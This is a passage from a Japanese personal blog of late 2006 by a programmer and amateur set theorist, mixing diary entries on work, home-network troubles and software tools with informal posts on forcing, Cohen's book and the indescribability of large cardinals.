その後帰納的関数の理論を使用し Z₁もしくは Z₂における不完全性定理の証明が行われます。この部分は正直真面目に読んでいません。はい。真面目に読むとここだけでもかなり読み応えがありそうです。面白そうなのは超自然数の体系で加法、乗法双方が帰納的になることはありえないことの証明が記載されていることで、この部分に関しては後できちんと読んでみたいと考えています。
第2章は集合論の紹介ですが、予備知識なしで理解するのは難しいと思います。というか、特に難しいことが書いてある訳ではないのですが、非常に簡潔なので。順序数と基数、正則性に関することが主題であると思われます。さらにスコーレムの定理の再考が行われ、有限個の公理に対する可算モデルの存在が証明されます。
第3章はゲーデルのLの定義と、V=Lが連続体仮説と選択公理を導くことの証明です。他の章もそうですが、この章は特に分かりやすく、現在でもLの分かりやすい入門としての価値を失っていないと思います。特に連続体仮説の整合性の証明における、ゲーデルの圧縮レンマに対応する部分は直感的でとても分かりやすく記述されます。次回はこの証明の紹介から始めたいと考えています。
第4章はいよいよ本願の強制法です。やはりコーエン程の天才でも、いや、天才だからこそと思いますが、先人、特にゲーデルの業績を縦横無尽に駆使し、天才の一撃とも言える強制概念により、「一般(Generic)」(構成的にならない) 集合を付加した集合のユニヴァースを見事に構成するのです。あっ、まだ半分くらいしか読んでないのでほんとはあれなんですが、今は、まあそんな感じということで。正直この章は、後に整理された強制法の知識がないとかなり難解であると思われます。目標としては、コーヘンの強制法の紹介を行いながら、現代的に整理された強制との関連をおしゃべりできたら良いなと考えています。
全体的に、やはり天才の著作と言うか、一気に本質にせまり、さらにその本質を平易に説明している、歴史的に絶対なくしてはならない著作だと思います。このような著作の版権を持ちながら、絶版状態にするのは犯罪に近い行為だと個人的には思います。
それでは次回は枕ということで、Lで連続体仮説が成立することの証明の概略について記載します。
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2006年12月11日(月)

強制法入門ちょっと変更
集合論雑記の方にも記載しましたが、強制法入門の Generic拡大の基本定理の部分に証明をつけました。論理的には全部内部 Generic名称で押し通したので、この部分はおまけなのですが、やはり証明がないとかっこわるいということで。
というか、証明をつけられなかったのには理由があって、参考にした Kunen本には、割と最初の方に証明が書いてあるのですが、おそらく強制に関する諸定理を証明する前だからだと思うのですが、非常に煩雑な証明方法なのです。特に等号に関する部分は「等号の定義」に戻ってて、実は半順序を使った強制法での等号の定義はかなり面倒なのです。で、理由は良くわからないのですが、半年前は簡単な証明を思いつかず、そのまま放置していたのですが、なぜか今日の帰りの電車(こればっかですな)の中で考えたら出来たと思われるのです。本文で言うと12 ページの最初の部分です。なんか都合が良すぎる感じもしないではなく、うーん、間違えてないと良いのですが。というかどうしてこんな簡単なこと半年前に分かんなかったのだろう。もしかしてコーヘン本読み始めたからできたのでしょうか？でも全然関係がない場所ですし。謎ですな。
というわけで、ヴァージョンを1.1に上げてファイル名も forcing-1.1.pdf に変更しました。検索の関係で古いファイル名(forcing-1.0.pdf)でアクセスされるお客様もいらっしゃるようなので、古い方のファイル名にシンボリックリンクも張っておきました。
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2006年12月10日(日)

予告というか予定
実は昨日今日とまたまた会社なのですが、それはおいといて、「コーヘン本の強制法をみんなで楽しみましょう」の企画を考えています。みんなで楽しむと言っても、私がまあ著作権なんたらに抵触しないと思われる程度にオリジナルに近い強制法について書いて、つっこみがあればうれしいな、というものです。
ですが、最近の仕事の量を考えると、なかなか時間が取れないというのが現状で、おそらく開始するのはお正月になると思います。さらに「あくまで予定」ですので、最初の方はなんとか大丈夫だと思うのですが、途中で挫折したらごめんなさい。
(おまけ) 今年は元旦に届くように年賀状を書くこと(笑)。
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2006年12月8日(金)

LaTeXiT
先日LaTeXで書いた数式をPDF化したものを OmniGraffle に張り付けているという話を書きましたが、うれしいことに Sさんからつっこみがありました。なにやら LaTeXiT なるプログラムがあり、LaTeXのちょっとしたフロントエンドらしいのですが、ちょこちょこっと数式を書いたのをその場で画像にすることができ、それをドラッグすると OmniGraffleにくっつくそうなのです。
http://macwiki.sourceforge.jp/cgi-bin/wiki.cgi?LaTeXiT
http://ktd.club.fr/programmation/latexit_en.php
スクリーンショットの左側が LaTeXiT の画面で、下に入れた数式コマンドが、上の方に画像化されています。でもってこの画像を、えいや！っとドラッグして右の OmniGraffleに持って行くと、たしかにくっつきます(^^。これは便利です。さらに驚くべきことに、OmniGraffle側の画像をダブルクリックすることにより、LaTeXiT が起動し、編集し直すことも可能なのです。編集結果は直ちに張り付けた側に反映します。なにやらアプリケーションの関連づけが行われているようです。
LaTeXiTのプリアンブルはデフォルトのものが記述されているのですが、環境や好みに合わせ、この部分は変更することが可能です。今のところ日本語に関しては化けてしまうようですが、用途からしてたいした問題ではありません。それにしても世の中便利なものを考え、さらに実装する人がいるものです。お忙しいところ教えて頂きありがとうございます(^^。
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2006年12月7日(木)

自宅回線不調
昨日から今朝まで会社で仕事していたのですが、夜の十時頃突然自宅サーバーに入れなくなりました。ADSLモデム件ルーターは ping に反応するようなので、外の世界のトラブルではなさそうです。
むむむっ、これはまた自宅サーバーが壊れてしまった？とても面倒、と思いつつ、おうちに電話して奥さまに調査依頼です。幸いサーバー(FreeBSD/X24) は無事なようで、せっかくなので ADSLモデムに ping を投げてもらったところ、ごくまれにしか応答がないとのこと。さらにモカちゃんの話によると、おとといあたりからネットワークの調子が良くなく、ネットワークのケーブルを「むにむに」してたということなのです。
うーん、これはサーバーのネットワークポート、配線、ハブ、ADSLモデム等色々不調の原因が考えられ、自宅に帰らないと切り分けは無理です。さらに、サーバーや ADSLモデムの不調の場合非常に面倒なことになります。
仕方ないので、朝まで evariste.jp のホストをレンタルサーバーへ向け、仕事を再開です。ところがまれに自宅の外に出れるパケットがあるらしく、一時間くらいすると、evariste.jp が自宅に戻ってしまうのです(笑)。そんなこんなで朝帰りしたところ、右上図(R30はすでにお亡くなりですが)の ADSLモデムとご家族様 PC に繋がってるハブのランプが激しく点滅していました。このハブが壊れたようです。まあハブ一個ですむならば一安心です。ただし朝帰りでまた買いに行く気力もないので、現在サーバー側のハブから出ているアップリンク用のケーブルを直接 ADSLモデムに接続しています。なので、ご家族様 PC はネットワークへ接続出来ない状況ですが、まあいいや(笑)。明日あたり適当なのを買ってくる予定です。
(関連項目) さよなら R30 こんにちは X24

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2006年12月6日(水)

不条理、逆理、矛盾
人生には色々な苦悩がつきものですが、なんといっても一番不条理を感じるのは「自分の眼鏡が行方不明になり探さなければいけない」という状態です。本を読みながらそのまま寝てしまい、翌朝目をさますと大体こういう状況に陥ります。
これほんとに不愉快です。そもそも私の視力は0.01位で、眼鏡が無い状態ではごく近傍のもの以外はほとんど認識不可能です。
良く見えるときは探す必要がないが、見えないときには探す必要がある。
不条理というか完全な矛盾です。ラッセルやゲーデルもびっくりの「めがねの逆理、もしくはめがねの不完全性定理」が証明出来そうです。そういえばゲーデルはかなり度が強そうな眼鏡かけてる。もしかして上の矛盾した状況に関する深い数学的洞察により不完全性定理を証明したのかも知れません(ト)。
というわけで眼鏡を探す状況に比べれば、「メガネをかけたまま顔を洗ってしまった」ことなんて、どうってことないです(笑)。
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2006年12月5日(火)

お祝い事
いつも一緒に鴨南蛮を食べに行く、会社のHさんがご結婚されました。写真は社長からの贈り物のお花です。おめでとうございます。

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2006年12月4日(月)

自由変数って
述語論理やモデル理論を勉強すると、必ず自由変数と称するものが出てきます。で、最近というか昔から思っていることは、私は自由変数というものが何なのかわかってないのではないかということなのです。
例えば「 $\forall{x}\varphi(x)~\rightarrow~\varphi(t)~$ 」が公理で「 $|-\varphi(x)~$ のとき $|-\forall{x}\varphi(x)~$ 」が推論規則という違いは分からないでもないし、第二の推論規則を公理にしたらまずいことも分かるのですが、なんとなくうーん、という感じなのです。いや、良くわからないけど慣れてしまい違和感無く使用している概念も沢山あるのですが、自由変数に関しては特にしっくりしません。どうせ最後は束縛されるのだから、いっそなくても良さそうな気もしないではないのですが、「ただ一つの自由変数からなる論理式の列 $(\varphi_n(x))~$ 」を考える推論等色々あるので、ないと困りそうです。
というか論理学の基本やモデル理論、あと不完全性定理関連明らかに勉強不足。もちろん集合論方面の具体的な理論の方に興味があるというのが一番で、関連が深いとはいえ、他の方面に手を出す能力も時間もないという面もありますが、やはりここは少し勉強した方が良いかなとも考えています。
で、これからの集合論雑記の予定ですが、「記述不可能性」に関するいくつかの結果を証明抜きで記載し、その後、「コーヘン連続体仮説」からオリジナルの強制法に関しての話題を書きたいと考えています。その間に、識別不可能性関連のねたを仕込む予定。ただしまだ真面目に読んでないので、最初っから全然分からなかったらごめんなさいということで(笑)。
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2006年12月3日(日)

仕事
昨日今日と会社で仕事してます。
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2006年12月1日(金)

木構造の一般向け説明
えーっと、一般の人に木構造の説明をすることになりそうなのですが、さすがに
半順序構造 $\langle~T,~\le~\rangle~$ で任意の $x\in{T}~$ に対し $\{y\in{T}\,:\,~y<x~\}~$ が整列順序集合
というのはまずそうです。あっ、どうせ有限の場合しか扱わないので、整列順序の部分は全順序でも良いのですが、どちらにしろこういう形式化は却下です。つか、目立たない場所に書いとくつもりですが。なので一大決心し苦手な図を書きました(笑)。

というか、こういう絵を書くのはとても簡単で、 OmniGraffle のアウトライン機能を使用し、右のスクリーンショットの左側のごとく、インデントで木構造を表現すれば勝手に右側の図に反映されると言う。ほんとらくちんです。まあ LaTeX と OmniGraffle のみですべてのドキュメントを作っている身としては、たまに OmniGraffle の宣伝をしたいとうのが本音です。万が一なくなってしまったら大変な損失ですから。
余談ですが OmniGraffle の図中に数式入れたい場合、LaTeX で数式を記述し、それをちっちゃい PDF にしたものをはめこんでいるのです。さらにその (OmniGraffleの) 出力を LaTeX に埋め込むことが多いという。いったいなにをやっているのだか(笑)。
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2006年11月30日(木)

引き合い
今の会社に入り、四年間だらだらと仕事していたのですが、ここ二週間くらい急に引き合いが多いのです。これからどうなるかは不明ですが、古典的なアルゴリズムにちょっとひねりを入れ実装したプログラムの評判が思いのほか良いのです。
最近は C言語以外使わなくなり、取り立てて特技もなく、そろそろ引退かな、と思わないでもない状況だったのですがねえ(笑)。今のところ、なんとかこの世界で食べて行くセールスポイントとしては、
1. 二十代の頃ヴィルト、ホーア、エイホ、ダイクストラの本はほとんど読んだので、古典的なアルゴリズムに関してはそこそこ知っている。一時「もうプログラムはやだ！」という状態になり全部どこまにしまいこみ行方不明ですが(笑)。
2. 従って無意識にホーア論理やダイクストラ論理を使い、そこそこ整然としたコードを書ける。ただし以前言及したように、人さまのプログラム修正の場合、考え方のギャップが大きく、非常に苦労する場合が多い。
3. ネットワークレヴェルから FPGA のレヴェルあたりまで色々書いたことがある。
4. 見かけによらず慎重にプログラムを書く方で、比較的外乱にも強く、この 15年くらい出荷してから純然たるソフトウエアーの原因で落ちたことはない。極端な外乱で状態が変な風になったことはありますが。
5. 数学では理想主義的な面があると自分では思っているのですが、プログラムに関しては極端なプラグマティストである。あっ、でも、くさいものにはふたをしろ、という性格は直した方が良いかも(笑)。
あたりでしょうか。もっとも画面とデーターベースには絶対に手を出さないという致命的な欠点ありです。
さすがにこの年になると新しいこと勉強する気力もないし、どうせ勉強するならば数学の方が楽しいので、今後プログラムに関して進歩することはありえません。うーん、今の経済状況ですと、最低でも後二十年位働く必要があると思うのですが、はてさてこれからどうなるのでしょう。余り先のこと考えるの嫌いなので、まあなんとかなるのではと勝手に思っています。というかつまんない先のお金のこと考えるより、今を充実させた方が絶対に良いですから。
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2006年11月29日(水)

USBメモリーをなくす
昨日まで実験した通信関連のログを、お客さんのところへ持っていってじまんするため Mさんに渡そうとしたのですが、ログの総量が 80Mバイト位になったので、メールでの添付は無理です。そこで昨年お買い上げしたUSBメモリーを使おうとしたら、なんといつも入れてある袋の中にありません。そういえば、この前お客さんのところで使って、その後回収した記憶がありません。
こりゃなくしてしまったようです。
うーん、頻繁とは言わないにしても、わりと便利に使っていたのですが。ただし、前回お買い上げの機種は 256Mバイトのもので、場合によっては若干容量不足を感じる場合もあったのです。ある意味丁度良い機会です。周りの人に値段の相場を尋ねたところ、512Mで三千円か四千円、1Gだと六千円以上ということで、本当は CD 丸ごと一枚はいる 1G のが欲しかったのですが、予算からして 512Mが無難かな～、と思いつつ近くのお店へ行ったのです。
色々な機種の値札を見たのですが、思ったより安く ELECOM の 1G製品が五千円で売ってました。ただし、特に根拠はないのですが、個人的に ELECOM は余り好きでないので、こちらは却下です。ELECOMでさえ五千円ということは、他のメーカーのはもっと高いはずで、やはり1Gの購入をあきらめかけたその瞬間

BUFFALO 1Gのが 3,480円で山積みになっているではないか(笑)。

というか一年半前に買ったのと容量以外はおんなじ機種。ピンク色です。上と下にリンクした一年半前の自分の記事を見ると、当時 256Mで同じ値段だった訳で、四分の一ですか。いやはやずいぶんお安くなったものです。というわけで、世情に疎く、この手の商品の相場を知らなかったのですが、まあ古いのが出てきたら、二女にでも上げることとして、今日のお買い上げはちょっと得した気分なのでした。
余談ですが、奥さまの説によると、ピンク色でデザインが宜しくないからら安いということなのですが、私はこのデザイン案外好きなのです。そんなに変ですかねえ(笑)。
(関連項目) USB メモリーお買い上げ
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2006年11月28日(火)

鴨南蛮
恒例となりましたが、今日は Nさん、Sさん、Hさんと鴨南蛮を食べに行ったのです。ところが、例のごとく写真を撮ろうとカメラを持参したのですが、なんと食べに行く時忘れてしまったというまぬけぶりです。なので本日は写真ありません。どうでもよさそうですが(笑)。
あっ、すみません。なんかねた不足で。
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2006年11月26日(日)

なななんと
こっこれは(笑)。なんか一番上に意味不明なのがありますが、 Wikipedia や有名ないろものサイト群を追い抜き、ついに実質一番くじです。てゆうか、やはり MSN はいろもの集合論サイトを上位にランクしているのでは。ということは、おうちが日本一のいろものなのでしょうか(笑)。
(関連項目) 2006年10月7日お笑い集合論検索
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なかなか便利なレンタルサーバー
おうちでは、レンタルサーバー兼ドメイン等の管理をアイネットディにお願いしているのですが、昨日まで書いていたソフトウエアーで、流量はたいしたことないのですが、インターネットを通したそれなり信頼性のある UDP 転送実験のテストをする必要が生じたのです。で、会社でこういう実験を行う場合、相手先として自宅サーバーを利用する場合が多いのですが、現在自宅にいるので、この方法は使えません。うーん、何かが違うような気もするのですが(笑)。
というわけで、レンタルサーバーと自宅の間で UDP 転送の実験を行うことにしたのですが、レンタルサーバー側の UDP ソケットを適当なポート番号でバインド出来るのか、出来たとしてポートブロックとかで通らないのではないか、といくつか心配事はあったのですが、すべて杞憂だったようで、全く問題なく通信が可能でした。さすがアイネットディです。アイネットディは、倫理的に問題がある行為や、システム全体に迷惑をかける行為でなければなんでもあり、というところがとても使いやすいと思います。
実験の結果はここには記載出来ないのですが、ゆっくりとはいえ UDP をインターネット経由で転送すると、そのままでは平均して 99% 程度しか到達しないようで、今回開発したソフトウエアーはそれなり、というか完璧な効果があるようです。一度自宅の方をわざとリンクダウンさせたりという実験も行いましたが、もちろん問題なく動作しました．
余談ですが、開発は PowerBook 上で行い、簡単なテストもループバックインターフェースで行ったのです。その後自宅 FreeBSD サーバーとレンタルサーバー(こちらも FreeBSD)にソースファイルを持ってき make したところ、当然と言えば当然なのですが、一発で通りました。なかなか良い気分です。ソースのバックアップにもなるし。
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2006年11月25日(土)

今日も仕事
今日も一日自宅で仕事してました。というか出来た(^^。あっ、でも簡単な仕様書を書かなくては。めんどいですなあ(笑)。
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2006年11月24日(金)

おうちで仕事

昨日書いたように、今日はおうちで仕事です。なんとか神経を使うのと、それなりテクニックが必要な部分は完成。後は細かいことだけなのですが、実はいつもそのあたりの詰めが甘く、どうでも良いところでバグだす傾向あります。
それはそうと奥さまが、「仕事大変そうだし、最近鴨南蛮食べてないようだから」って、インスタント鴨南蛮ラーメン買ってきてくれました。素晴らしい。あっ、でもよく見ると「鶏南蛮」(笑)。いやいやこちらもとてもおいしかったです。ありがとうございます(^^。

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2006年11月23日(木)

四連休
今日は勤労感謝の日ですが、明日もお休みを入れて四連休です。あっ、先週全部休んだのに、今週も四連休とはずるい！と思われる方も多いかと思いますが、いやはや実を言いますと、

連休中に仕事のプログラムを一本仕上げる必要がある(笑)

という面倒な状況に陥っているのです。プログラム自体はネットワークのちょっとした応用で、さらにおとといのアルゴリズム(もちろん有限版)も使用するのですが、機材の必要がないことと、Linux 上のソフトウエアーなので、BSD から派生した MacOS 上でも問題なく開発出来るのです。というわけでわざわざ会社へ行くより、おうちで仕事した方が能率が上がるのですが、今週末は数学の方は余り進展させることが出来そうにありません。少々残念です。
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2006年11月22日(水)

記述不可能性(三回目)
集合論雑記目次
今会社のお昼休みなので大急ぎで。
(定理)
可測基数は $\mathrm{\Pi}^2_1$ 記述不可能。

(証明) $\kappa$ を可測基数とし、 $\sigma$ を $\mathrm{\Pi}~^2_1$ -論理式とします。 $\sigma$ は $\forall{X}\varphi(X)$ の形として $\langle~V_\kappa,\in,R~\rangle~|=~\sigma$ が成立していると仮定します。ただし $X$ は3階の変数で $\varphi(X)$ の $X$ 以外の変数はすべて2階以下とします。 $\varphi$ における2階の変数の動く範囲を $V_{\kappa+1}$ 、1階の変数の動く範囲を $V_\kappa$ に制限した論理式を $\tilde{\varphi}$ とし、仮定の式を1階の論理式で記述すると
$\forall{X\subset{V_{\kappa+1}(\langle~V_{\kappa+1},\in,R,V_\kappa,X~\rangle~|=~\tilde{\varphi}(X))$
今 $M$ を $\kappa$ の正規 $\kappa$ 完備超フィルターによる超べきの推移的崩壊とします。 $V_{\kappa+1}^M~=~V_{\kappa+1}$ であることと $V_{\kappa+1}$ の $M$ で考えた部分集合は(本当の部分集合より)「増える」ことはないので、
$M|=\forall{X\subset{V_{\kappa+1}(\langle~V_{\kappa+1},\in,R,V_\kappa,X~\rangle~|=~\tilde{\varphi}(X))$
が成立します。ところが $M$ で $V_\kappa,~V_{\kappa+1},R$ はそれぞれ列 $(V_\alpha)_{\alpha<\kappa},(V_{\alpha+1})_{\alpha<\kappa},~(R\cap{V_\alpha})_{\alpha<\kappa}$ で表現されます。従って「ほとんどすべて」の $\alpha<\kappa$ に対して
$\forall{X\subset{V_{\alpha+1}(\langle~V_{\alpha+1},\in,R\cap{V_\alpha},V_\alpha,X~\rangle~|=~\tilde{\varphi}(X))$
が成り立ち、再び3階の論理式の解釈へもどすことにより、記述不可能性の証明が完了です。
弱コンパクト基数の場合と異なり、この逆は成立しません。それどころか可測基数の下に大量の「全面的に記述不可能な基数」が存在することを証明出来ます。で、こちらの証明も書こうかと思っていたのですが、というか、常套のテクニックで $M|=$ 「 $\kappa$ は全面的に記述不可能」を示せば良いのですが、やりかた忘れました(笑)。というわけで、こちらの証明は後で。
(追記) 帰りの電車で考えたら出来たと思うのでリベンジ。
まず「全面的に記述不可能」な基数の定義ですが、任意の(個別の)自然数 $m,n$ に対し $\mathrm{\Pi}^m_n$ 記述不可能であることとします。今、 $\sigma$ を任意の高階論理式とし、
$M|=(\langle~V_\kappa,~\in,~R~\rangle~|=~\sigma)$
を仮定します。上の証明と同様に $M$ で $V_\kappa,~R$ がそれぞれ $(V_\alpha)_{\alpha<\kappa},(R\cap~V_\alpha)_{\alpha<\kappa}$ で表現出来ることに注意すると、元々の正規超フィルターの要素 $C$ が存在し、任意の $\alpha~\in~C$ に対し
$\langle~V_\alpha,~\in,~R\cap~V_\alpha~\rangle~|=~\sigma$
初等性により $\alpha~\in~j(C)~$ に対して
$M|=(\langle~j(V_\alpha),~\in,~j(R\cap~V_\alpha)~\rangle~|=~\sigma)$
従って $\alpha\in{C}$ に対し ( $C=j(C)\cap~V_\kappa~\in~M$ なので)
$M|=(\langle~j(V_\alpha),~\in,~j(R\cap~V_\alpha)~\rangle~|=~\sigma)$
$\alpha<\kappa$ に対し $j(V_\alpha)=V_\alpha,j(R~\cap~V_\alpha)=R\cap~V_\alpha$ であることに注意すれば結論が得られます。
(さらに追記)
上の「証明」書いてから巨大基数の集合論を見たら次の証明。
$M|=(\langle~V_\kappa,\in,R~\rangle|=\sigma)$ とすると $\kappa<j(\kappa)$ なので
$M|=\exists{\alpha<j(\kappa)(\langle~V_\alpha,\in,R\cap{V_\alpha}~\rangle|=\sigma)$
以下初等性を利用。確かにこの方が簡潔。というか自分で考えた「証明」合ってるのか？
それから $\sigma$ が任意の高階論理式でも大丈夫なのは、一階の論理式と解釈し直す場合、 $\alpha<\kappa$ の部分で構造に関係を追加しても絶対性が成り立つから。
(参考文献) Thomas J. Jech 著 Set Theory A.カナモリ著渕野昌訳巨大基数の集合論
(関連リンク)
2006年11月17日記述不可能性(一回目)
2006年11月18日記述不可能性(二回目)

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2006年11月21日(火)

優先度付き二分木と弱コンパクト基数(ト)
優先度付き二分木はいわゆるヒープを素直に二進木構造として表現したもので、次の特性があります。
- A1 各ノードは高々 2つの葉を持つ。
- A2 各葉のキー値はそれらの直前の親のキー値より小さい。
- A3 木は完全にバランスしている. 各レヴェルは左から充填され右から削除される。
さらに次の操作を高速に行うことが可能です。
- M1 最小キー値の検索 O(1)
- M2 新規のエントリ登録 O(log(n))
- M3 任意の位置の要素を削除。特に根の要素の削除 O(log(n))
要はある種の木で、任意の鎖の順序が、与えられた全順序と両立するものを考えるわけです。詳細に関しては、例えば
Data Structures and Algorithms. Alfred V. Aho, John E. Hopcroft, Jeffrey D. Ullman
を参照して下さい(古いですな)。このデーター構造は、簡単でエレガント、さらに実用的と三拍子そろい踏みで、個人的に非常に好きなのであり、色々なヴァリエーションを仕事でも使っているのです。というか今使ってる。で、上の概念を無限の木に拡張して、どの位「計算量」で得するかという妄想をいだいてみたのですが、有限の場合特定の鎖をたどることにより、計算量が対数的になるのですが、無限の場合(そもそも上手に定式化出来るかはおいといて)得しそうだったり、全然得しそうになかったり、色々ありそうです。
もちろん「鎖の長さ」が全体のデーター量に比して長いと余り得しないわけで、自然数全体の場合ケーニヒの補題により、各レヴェルが有限であれば必ず無限鎖が存在するので、全然得しません。実数の場合、良くわからないのですが、適当に整列するかして、可算の高さで上の形の表現が出来た場合、実数の濃度が大きければ大きい程お得度が強い感じがします。連続体が弱到達不可能だったりすると超得価格即決買い上げです。でもって何が言いたかったかと言いますと、当たり前のことですが、
弱コンパクト基数は二分検索という観点からは全くお得感がないのでは(笑)。
ということです。まあ実際に真面目な定式化しようとすると、極限のところで訳が分からなくなったり、各レヴェルの整列性ではまったり、そもそも無理な感じもするのですが、今日のお題は(ト)ですのでご勘弁のほどを。さらに弱コンパクト基数のメモリーを搭載したマシンを開発する場合、アドレスバスの本数もその基数分必要になりそうで、開発コストもばかになりません。
実数の場合と矛盾しますが(というか上の実数の場合は自信なし)、大きなメモリーを搭載したコンピューターを設計する場合、メモリーの量は特異基数にした方が検索に関し得な感じがします。共終数探索とか(笑)。
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2006年11月20日(月)

今日から会社
だらだら過ごした九連休も終わり、今日から会社です。ところで、カレンダーを見たら、今週の木曜日は祭日なのですねえ。ということは、残っている代休を金曜日に取得すれば、またまた四連休ですか。うーん、どうしよう。
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2006年11月18日(土)

記述不可能性(二回目)
集合論雑記目次
本日は高階論理の直感的な説明と、記述不可能性の一般的な定義、さらに記述不可能性による弱コンパクト基数の特徴づけについて記載します。
(高階論理の解釈について) 集合論の言語に「高階の変数」を付加した言語を考えます。階数は自然数で、 1階の変数は通常の変数であるとします。さらに一般の階数の変数に対しても $X=Y,~X\in{Y}$ を基本関係式として許すことにします。さらに高階の変数に対する束縛も定義されているものとします。ここんところは真面目に勉強したわけでないのでまあ常識的にということで。ただし高階の変数の解釈は重要で、構造 $\langle~Z,\in,R,S,\cdots~\rangle$ を考える場合、1階の変数は $X$ 上を動き、2階の変数は $\mathcal{P}(X)$ 上を動くものとします。一般に $(n+1)$ 階の変数は $\mathcal{P}^n(X)$ 上を動くと解釈する訳です。例えば論理式 $\forall{X}\varphi(X)$ で $X$ の階数が2の場合 $\langle~Z,\in,R,S,\cdots~\rangle~|=~\forall{X}\varphi(X)$ は $\forall{X\subset{Z}(\langle~Z,\in,R,S,\cdots~\rangle~|=~\varphi(X))$ を意味することになります。
(論理式の階層) まず1階の論理式 $\varphi$ を考えます。 $\varphi$ が束縛記号を含まないか、もしくはすべての束縛が限定されている場合、即ち $\forall{x\in~y},~\exists{x\in~y}$ の形の束縛しか現れない場合 $\varphi$ を $\mathrm{\Sigma^0_0}~=~\mathrm{\Pi^0_0}~=~\mathrm{\Delta^0_0}$ 論理式と呼びます。帰納的に $\mathrm{\Sigma^0_{n+1}}$ は $\mathrm{\Pi^0_{n}}$ 論理式を $\exists$ で束縛したもの、 $\mathrm{\Pi^0_{n+1}}$ は $\mathrm{\Sigma^0_{n}}$ 論理式を $\forall$ で束縛したものと定義します。そして $\mathrm{\Delta}^0_{n}~=~\mathrm{\Sigma}^0_{n}\cap~\mathrm{\Pi}^0_{n}.$
高階の場合次のように定義します。 $\varphi$ が $\exists{X}\chi(X)$ の形で $\chi(X)$ が $X$ 以外の変数として1階のものしか含まない場合 $\mathrm{\Sigma}^1_{1}$ と言います。存在記号を全称記号で置き換えることにより、 $\mathrm{\Pi}^1_{1}$ 論理式の概念が得られます。一般に $X$ を $n$ 階の変数とし $\exists{X}\varphi(X)$ の形の論理式で $X$ 以外の変数の階数が $m$ 未満の時 $\mathrm{\Sigma}^{m}_{1}$ 論理式であると称し、 $\mathrm{\Pi}^{m}_{1}$ に関しても同様に定義します。さらに $X$ を $m$ 階の変数とし $\varphi(X)$ が $\mathrm{\Pi}^{m}_{n}$ の要素のとき $\exists{X}\varphi(X)$ は $\mathrm{\Sigma}^{m+1}_{n}$ に属すると称します。 $\mathrm{\Pi}^{m+1}_{n}$ に関しても同様です。例えば $X,Y,Z$ を2階の変数とするとき $\exists{X}\forall{Y}\varphi$ は $\mathrm{\Sigma}^2_2.$ $\exists{X}\forall{Y}\exists{Z}\varphi$ は $\mathrm{\Sigma}^2_3.$ $\forall{X}\exists{Y}\forall{Z}\varphi$ は $\mathrm{\Pi}^2_3.$ となります。ただし $\varphi$ は階層における階数(上付きの数字の方)が下位の論理式であるとします。この辺りは厳密でないのといいかげんなので、正式には論理学の文献を参照して下さい。
(記述不可能性の定義) $\kappa$ を基数とするとき $\kappa$ が $\mathrm{\Sigma}^m_n~(\mathrm{\Pi}^m_n)$ 記述不可能であるとは次の性質が成り立つこと。
任意の $R\subset{V_\kappa}$ と $\mathrm{\Sigma}^m_n~(\mathrm{\Pi}^m_n)$ -論理式 $\varphi$ に対し $\langle~V_\kappa,\in,R~\rangle~|=~\varphi$ が成立しているとき $\alpha<\kappa$ が存在し $\langle~V_\alpha,\in,R\cap{V_\alpha}~\rangle~|=~\varphi.$

(定理 Hanf-Scott)
基数 $\kappa$ 弱コンパクトである条件は $\mathrm{\Pi}^1_1$ -記述不可能であること。

(補題弱コンパクト基数の拡張の性質)
$\kappa$ を弱コンパクト基数とします。このとき任意の $R\subset{V_\kappa}$ に対し、推移的な集合 $Y$ と $S\subset{Y}$ で次の条件を満たすものが存在する。
(1) $\kappa~\in~Y$
(2) $\langle~V_\kappa,\in,R~\rangle~\prec~\langle~Y,\in,S~\rangle$
(補題の証明) 構造 $\langle~V_\kappa,\in,R~\rangle$ を言語 $\mathcal{L}_{\kappa\kappa}$ に属する構造と考え、その構造で充足可能な文全体の集合を $\Sigma$ とします。 $R$ に対応する関係式を便宜上 $R$ で表すこととし、 $\mathcal{L}_{\kappa\kappa}$ に属する言語 $\mathcal{L}=\langle~\in,R,(\dot{x})_{x\in~V_\kappa},\dot{c}\rangle$ を考えます。ここで各 $\dot{x}$ と $\dot{c}$ は定数記号とします。この言語に公理として
$\Sigma^'~=~~\Sigma~+$ 「個別の $x,y\in~V_\kappa,~x\neq{y}$ に対し $\dot{x}\neq\dot{y}$ 」 $+$ 「 $\dot{c}$ は順序数」 $+$ 「個別の $\dot{x}$ に対し $\mathrm{rank}(\dot{x})<\dot{c}$ ( $|V_\kappa|$ 個の公理) 」
を与えます。 $\kappa$ の到達不可能性により $|V_\kappa|~=~\kappa$ であることに注意すると、 $|\Sigma^'|~=~\kappa$ が成立します。また任意の $S\subset{\Sigma^'},|S|<\kappa$ に対し $\mathcal{L}$ はモデル $\langle~V_\kappa,\in,R,(\dot{x})_{x\in~V_\kappa},\dot{c}\rangle$ を持ちます。 $\dot{x}$ の解釈は自然にもとの $V_\kappa$ の要素とし、 $\dot{c}$ の解釈は $S$ で言及されているいずれの集合の $\mathrm{rank}$ より大きい $\kappa$ 未満の順序数とすれば良いわけです。従って $\kappa$ が弱コンパクトであることにより $\mathcal{L}$ は $\Sigma^'$ のモデル $\mathcal{A}=\langle~A,E,T,(\dot{x}),\dot{c}\rangle$ を持ちます。ところが $\mathcal{L},\Sigma^'$ の作り方から、 $V_\kappa~\subset~A,~T\cap(V_\kappa~\times~V_\kappa)=\in,~~E\cap(V_\kappa~\times~V_\kappa)=R$ と仮定して問題ありません。さらに $\dot{x}$ の解釈をもともとの $x\in{V_\kappa}$ とすることも問題ありません。また $\mathcal{A}$ で $\Sigma$ の文はすべて成り立つので $\langle~V_\kappa,\in,R~\rangle~\prec~\langle~A,E,T,\dot{c}~\rangle$ が成立します。ところで $\mathcal{L}_{\kappa\kappa}$ の表現力により $\Sigma$ は $\neg~\exists{x_0}\exists{x_1}\cdots\bigwedge_{n\in\omega}(x_{n+1}\in~x_n)$ を要素とし、構造 $\mathcal{A}=\langle~A,E,T,\dot{c}~\rangle~$ はこの論理式を満たします (もちろん $\in$ を $E$ に置き換えて)。従って $\mathcal{A}$ に対する推移的崩壊の前提条件が満たされ、もとの構造の推移的な拡張 $\langle~V_\kappa,\in,R~\rangle~\prec~\langle~Y,\in,S,\dot{c}~\rangle$ が得られますが $\dot{c}$ の解釈は明らかに $V_\kappa$ の要素とならないので、推移性により $\kappa~\in~Y.$
